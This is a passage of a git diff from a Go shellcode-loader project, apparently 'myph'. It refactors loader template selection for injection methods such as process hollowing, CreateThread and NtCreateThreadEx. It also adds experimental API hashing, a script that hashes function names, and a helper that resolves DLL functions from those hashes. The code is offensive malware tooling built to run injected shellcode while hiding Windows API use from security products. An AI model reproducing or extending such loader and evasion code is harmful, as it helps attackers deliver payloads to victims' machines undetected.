+	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+	return template
 }
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,39 +1,55 @@
 package loaders
 
+func InformExpermimental() {
+	println("[!] The API hashing feature is still in an an experimental stage!!")
+	println("Only a few methods are supported for now:")
+	println("\t-Syscall\n\t-CreateThread\n\t-tNtCreateThreadEx\n")
+}
+
 func InformProcessUnused(process string) {
 	_ = process
 
-	println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+	println("[!] PLEASE NOTE:\n\tshellcode will not be injected into new process with this method.")
 }
 
-func SelectTemplate(templateName string) func(string) string {
-
-	switch templateName {
-	case "CRT":
-		return GetCRTTemplate
-
-	case "CRTx":
-		return GetCRTxTemplate
-
-	case "CreateThread":
-		return GetCreateThreadTemplate
-
-	case "ProcessHollowing":
-		return GetProcessHollowingTemplate
+func DownloadMyphInternals(path string) error {
 
-	case "Syscall":
-		return GetSyscallTemplate
+	println("[!] While internals module is not published, we will manually copy it.")
+	println("Please ensure (temporarily) that you use myph from its root repository.")
 
-	case "EnumCalendarInfoA":
-		return GetEnumCalendarInfoATemplate
+	return nil
+}
 
-	case "CreateFiber":
-		return GetCreateFiberTemplate
+type Templater interface {
+	Init() string
+	Import() string
+	Const() string
+	Process() string
+	GetTemplate(targetProcess string) string
+}
 
-	case "Etwp":
-		return GetEtwpCreateEtwThreadTemplate
+func SelectTemplate(templateName string, useApiHashing bool, apiHashTechnique string) func(string) string {
+
+	// TODO(djnn): finish transitionning methods here
+	var methodes = map[string]Templater{
+		"Syscall":           SysTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+		"CRT":               CRTTemplate{},
+		"CRTx":              CRTxTemplate{},
+		"CreateThread":      CreateTTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+		"ProcessHollowing":  ProcHollowTemplate{},
+		"EnumCalendarInfoA": EnumCalendarTemplate{},
+		"CreateFiber":       CreateFiberTemplate{},
+		"Etwp":              ETWPTemplate{},
+		"NtCreateThreadEx":  NtCreateThreadExTemplate{UseApiHashing: useApiHashing, HashMethod: apiHashTechnique},
+	}
 
+	if useApiHashing {
+		InformExpermimental()
 	}
 
+	template, exist := methodes[templateName]
+	if exist {
+		return template.GetTemplate
+	}
 	return nil
 }
diff --git a/scripts/hash_function.go b/scripts/hash_function.go
@@ -0,0 +1,42 @@
+package main
+
+import (
+	"fmt"
+	"os"
+
+	hash "github.com/cmepw/myph/internals"
+	"github.com/spf13/cobra"
+)
+
+func main() {
+
+	var rootCmd = &cobra.Command{
+		Use:   "hash",
+		Short: "hash-command",
+		Long:  `Computes the hash for a given function or library name`,
+		Run: func(cmd *cobra.Command, args []string) {
+
+			if len(args) != 1 {
+				fmt.Println("hash-command only accepts one argument")
+				os.Exit(1)
+			}
+
+			toHash := args[0]
+
+			fmt.Printf("\t{\n\t\tName: \"%s\",\n", toHash)
+			fmt.Printf("\t\tSha1: \"%s\",\n", hash.HashSHA1(toHash))
+			fmt.Printf("\t\tSha256: \"%s\",\n", hash.HashSHA256(toHash))
+			fmt.Printf("\t\tSha512: \"%s\",\n", hash.HashSHA512(toHash))
+			fmt.Printf("\t\tDjb2: \"%s\",\n", hash.HashDJB2(toHash))
+
+			fmt.Printf("\t},\n")
+
+		},
+	}
+
+	err := rootCmd.Execute()
+	if err != nil {
+		fmt.Println(err.Error())
+		os.Exit(1)
+	}
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -6,6 +6,9 @@ import (
 	"io"
 	"math/rand"
 	"os"
+
+	"github.com/Binject/debug/pe"
+	"github.com/cmepw/myph/internals"
 )
 
 func MoveFile(sourcePath, destPath string) error {
@@ -132,6 +135,27 @@ go 1.19
 	return nil
 }
 
+func FindAndExecute(
+	hashing_algorithm func(string) string,
+	functionName string,
+	dllName string,
+) error {
+
+	hashedName := hashing_algorithm(functionName)
+	dll, err := pe.Open(dllName)
+	if err != nil {
+		return err
+	}
+
+	ptr, err := internals.LoadFunctionFromHash(hashing_algorithm, hashedName, dll)
+	if err != nil {
+		return err
+	}
+
+	fmt.Print(ptr)
+	return nil
+}
+
 func GetMainTemplate(
 	encoding string,
 	key string,
diff --git a/utils/utils b/utils/utils
Binary files differ.